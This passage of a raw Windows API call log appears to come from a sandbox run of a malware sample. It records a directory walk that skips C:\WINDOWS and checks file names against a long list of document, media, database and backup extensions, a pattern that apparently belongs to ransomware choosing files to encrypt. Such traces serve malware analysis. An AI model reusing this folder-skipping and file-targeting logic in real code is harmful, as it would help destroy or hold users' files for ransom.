hHeap=0x510000) returned 1 [0140.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.475] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.475] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0140.477] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0140.477] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement") returned 60 [0140.477] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement") returned 1 [0140.477] lstrlenW (lpString="PackageManagement") returned 17 [0140.477] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="PackageManagement") returned -1 [0140.477] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4584f50 [0140.477] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement") returned 60 [0140.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0x3e5bed8 [0140.477] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1") returned 68 [0140.477] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1") returned 1 [0140.477] lstrlenW (lpString="1.0.0.1") returned 7 [0140.478] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1.0.0.1") returned 1 [0140.478] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44a40a0 [0140.478] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1") returned 68 [0140.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0x3e5b898 [0140.480] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 71 [0140.480] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 1 [0140.480] lstrlenW (lpString="en") returned 2 [0140.480] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en") returned -1 [0140.480] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x453ef58 [0140.480] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 71 [0140.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0x3e5bb98 [0140.494] lstrlenW (lpString="Microsoft.PackageManagement.ArchiverProviders.resources.dll") returned 59 [0140.494] lstrlenW (lpString=".1cd") returned 4 [0140.494] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.494] lstrlenW (lpString=".3ds") returned 4 [0140.494] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0140.494] lstrlenW (lpString=".3fr") returned 4 [0140.494] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0140.494] lstrlenW (lpString=".3g2") returned 4 [0140.494] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0140.495] lstrlenW (lpString=".3gp") returned 4 [0140.495] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0140.495] lstrlenW (lpString=".7z") returned 3 [0140.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.495] lstrlenW (lpString=".accda") returned 6 [0140.495] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".accdb") returned 6 [0140.495] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".accdc") returned 6 [0140.495] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".accde") returned 6 [0140.495] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".accdt") returned 6 [0140.495] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".accdw") returned 6 [0140.495] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0140.495] lstrlenW (lpString=".adb") returned 4 [0140.495] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0140.495] lstrlenW (lpString=".adp") returned 4 [0140.495] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0140.495] lstrlenW (lpString=".ai") returned 3 [0140.495] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0140.495] lstrlenW (lpString=".ai3") returned 4 [0140.496] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ai4") returned 4 [0140.496] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ai5") returned 4 [0140.496] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ai6") returned 4 [0140.496] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ai7") returned 4 [0140.496] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ai8") returned 4 [0140.496] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".anim") returned 5 [0140.496] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0140.496] lstrlenW (lpString=".arw") returned 4 [0140.496] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".as") returned 3 [0140.496] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0140.496] lstrlenW (lpString=".asa") returned 4 [0140.496] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".asc") returned 4 [0140.496] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".ascx") returned 5 [0140.496] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0140.496] lstrlenW (lpString=".asm") returned 4 [0140.496] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".asmx") returned 5 [0140.496] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0140.496] lstrlenW (lpString=".asp") returned 4 [0140.496] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0140.496] lstrlenW (lpString=".aspx") returned 5 [0140.496] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0140.496] lstrlenW (lpString=".asr") returned 4 [0140.496] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".asx") returned 4 [0140.497] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".avi") returned 4 [0140.497] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".avs") returned 4 [0140.497] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".backup") returned 7 [0140.497] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0140.497] lstrlenW (lpString=".bak") returned 4 [0140.497] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".bay") returned 4 [0140.497] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".bd") returned 3 [0140.497] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0140.497] lstrlenW (lpString=".bin") returned 4 [0140.497] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".bmp") returned 4 [0140.497] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".bz2") returned 4 [0140.497] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".c") returned 2 [0140.497] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0140.497] lstrlenW (lpString=".cdr") returned 4 [0140.497] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".cer") returned 4 [0140.497] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".cf") returned 3 [0140.497] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0140.497] lstrlenW (lpString=".cfc") returned 4 [0140.497] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".cfm") returned 4 [0140.497] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0140.497] lstrlenW (lpString=".cfml") returned 5 [0140.497] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0140.498] lstrlenW (lpString=".cfu") returned 4 [0140.498] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".chm") returned 4 [0140.498] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".cin") returned 4 [0140.498] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".class") returned 6 [0140.498] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0140.498] lstrlenW (lpString=".clx") returned 4 [0140.498] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".config") returned 7 [0140.498] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0140.498] lstrlenW (lpString=".cpp") returned 4 [0140.498] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".cr2") returned 4 [0140.498] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".crt") returned 4 [0140.498] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".crw") returned 4 [0140.498] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".cs") returned 3 [0140.498] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0140.498] lstrlenW (lpString=".css") returned 4 [0140.498] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".csv") returned 4 [0140.498] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".cub") returned 4 [0140.498] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".dae") returned 4 [0140.498] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0140.498] lstrlenW (lpString=".dat") returned 4 [0140.498] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".db") returned 3 [0140.499] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0140.499] lstrlenW (lpString=".dbf") returned 4 [0140.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dbx") returned 4 [0140.499] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dc3") returned 4 [0140.499] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dcm") returned 4 [0140.499] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dcr") returned 4 [0140.499] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".der") returned 4 [0140.499] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dib") returned 4 [0140.499] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dic") returned 4 [0140.499] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".dif") returned 4 [0140.499] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0140.499] lstrlenW (lpString=".divx") returned 5 [0140.499] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".djvu") returned 5 [0140.500] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".dng") returned 4 [0140.500] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".doc") returned 4 [0140.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".docm") returned 5 [0140.500] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".docx") returned 5 [0140.500] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".dot") returned 4 [0140.500] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dotm") returned 5 [0140.500] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".dotx") returned 5 [0140.500] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0140.500] lstrlenW (lpString=".dpx") returned 4 [0140.500] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dqy") returned 4 [0140.500] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dsn") returned 4 [0140.500] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dt") returned 3 [0140.500] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0140.500] lstrlenW (lpString=".dtd") returned 4 [0140.500] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dwg") returned 4 [0140.500] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0140.500] lstrlenW (lpString=".dwt") returned 4 [0140.501] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".dx") returned 3 [0140.501] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0140.501] lstrlenW (lpString=".dxf") returned 4 [0140.501] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".edml") returned 5 [0140.501] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0140.501] lstrlenW (lpString=".efd") returned 4 [0140.501] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".elf") returned 4 [0140.501] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".emf") returned 4 [0140.501] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".emz") returned 4 [0140.501] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".epf") returned 4 [0140.501] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".eps") returned 4 [0140.501] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".epsf") returned 5 [0140.501] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0140.501] lstrlenW (lpString=".epsp") returned 5 [0140.501] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0140.501] lstrlenW (lpString=".erf") returned 4 [0140.501] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".exr") returned 4 [0140.501] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".f4v") returned 4 [0140.501] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".fido") returned 5 [0140.501] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0140.501] lstrlenW (lpString=".flm") returned 4 [0140.501] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0140.501] lstrlenW (lpString=".flv") returned 4 [0140.502] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".frm") returned 4 [0140.502] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".fxg") returned 4 [0140.502] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".geo") returned 4 [0140.502] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".gif") returned 4 [0140.502] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".grs") returned 4 [0140.502] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".gz") returned 3 [0140.502] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0140.502] lstrlenW (lpString=".h") returned 2 [0140.502] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0140.502] lstrlenW (lpString=".hdr") returned 4 [0140.502] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".hpp") returned 4 [0140.502] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".hta") returned 4 [0140.502] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".htc") returned 4 [0140.502] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".htm") returned 4 [0140.502] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0140.502] lstrlenW (lpString=".html") returned 5 [0140.502] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0140.502] lstrlenW (lpString=".icb") returned 4 [0140.502] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".ics") returned 4 [0140.503] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".iff") returned 4 [0140.503] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".inc") returned 4 [0140.503] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".indd") returned 5 [0140.503] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0140.503] lstrlenW (lpString=".ini") returned 4 [0140.503] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".iqy") returned 4 [0140.503] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".j2c") returned 4 [0140.503] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".j2k") returned 4 [0140.503] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0140.732] lstrlenW (lpString=".java") returned 5 [0140.732] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0140.732] lstrlenW (lpString=".jp2") returned 4 [0140.732] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0140.732] lstrlenW (lpString=".jpc") returned 4 [0140.732] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0140.732] lstrlenW (lpString=".jpe") returned 4 [0140.733] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".jpeg") returned 5 [0140.733] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0140.733] lstrlenW (lpString=".jpf") returned 4 [0140.733] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".jpg") returned 4 [0140.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".jpx") returned 4 [0140.733] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".js") returned 3 [0140.733] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0140.733] lstrlenW (lpString=".jsf") returned 4 [0140.733] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".json") returned 5 [0140.733] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0140.733] lstrlenW (lpString=".jsp") returned 4 [0140.733] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".kdc") returned 4 [0140.733] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".kmz") returned 4 [0140.733] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".kwm") returned 4 [0140.733] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0140.733] lstrlenW (lpString=".lasso") returned 6 [0140.733] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0140.734] lstrlenW (lpString=".lbi") returned 4 [0140.734] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".lgf") returned 4 [0140.734] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".lgp") returned 4 [0140.734] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".log") returned 4 [0140.734] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".m1v") returned 4 [0140.734] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".m4a") returned 4 [0140.734] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".m4v") returned 4 [0140.734] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".max") returned 4 [0140.734] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".md") returned 3 [0140.734] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0140.734] lstrlenW (lpString=".mda") returned 4 [0140.734] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".mdb") returned 4 [0140.734] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".mde") returned 4 [0140.734] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".mdf") returned 4 [0140.734] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".mdw") returned 4 [0140.734] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0140.734] lstrlenW (lpString=".mef") returned 4 [0140.735] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mft") returned 4 [0140.735] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mfw") returned 4 [0140.735] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mht") returned 4 [0140.735] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mhtml") returned 6 [0140.735] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0140.735] lstrlenW (lpString=".mka") returned 4 [0140.735] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mkidx") returned 6 [0140.735] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0140.735] lstrlenW (lpString=".mkv") returned 4 [0140.735] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mos") returned 4 [0140.735] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mov") returned 4 [0140.735] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mp3") returned 4 [0140.735] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mp4") returned 4 [0140.735] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0140.735] lstrlenW (lpString=".mpeg") returned 5 [0140.735] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0140.735] lstrlenW (lpString=".mpg") returned 4 [0140.736] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".mpv") returned 4 [0140.736] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".mrw") returned 4 [0140.736] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".msg") returned 4 [0140.736] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".mxl") returned 4 [0140.736] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".myd") returned 4 [0140.736] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".myi") returned 4 [0140.736] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".nef") returned 4 [0140.736] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".nrw") returned 4 [0140.736] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".obj") returned 4 [0140.736] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".odb") returned 4 [0140.736] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".odc") returned 4 [0140.736] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".odm") returned 4 [0140.736] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".odp") returned 4 [0140.736] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0140.736] lstrlenW (lpString=".ods") returned 4 [0140.736] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".oft") returned 4 [0140.737] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".one") returned 4 [0140.737] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".onepkg") returned 7 [0140.737] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0140.737] lstrlenW (lpString=".onetoc2") returned 8 [0140.737] lstrcmpiW (lpString1=".onetoc2", lpString2="rces.dll") returned -1 [0140.737] lstrlenW (lpString=".opt") returned 4 [0140.737] 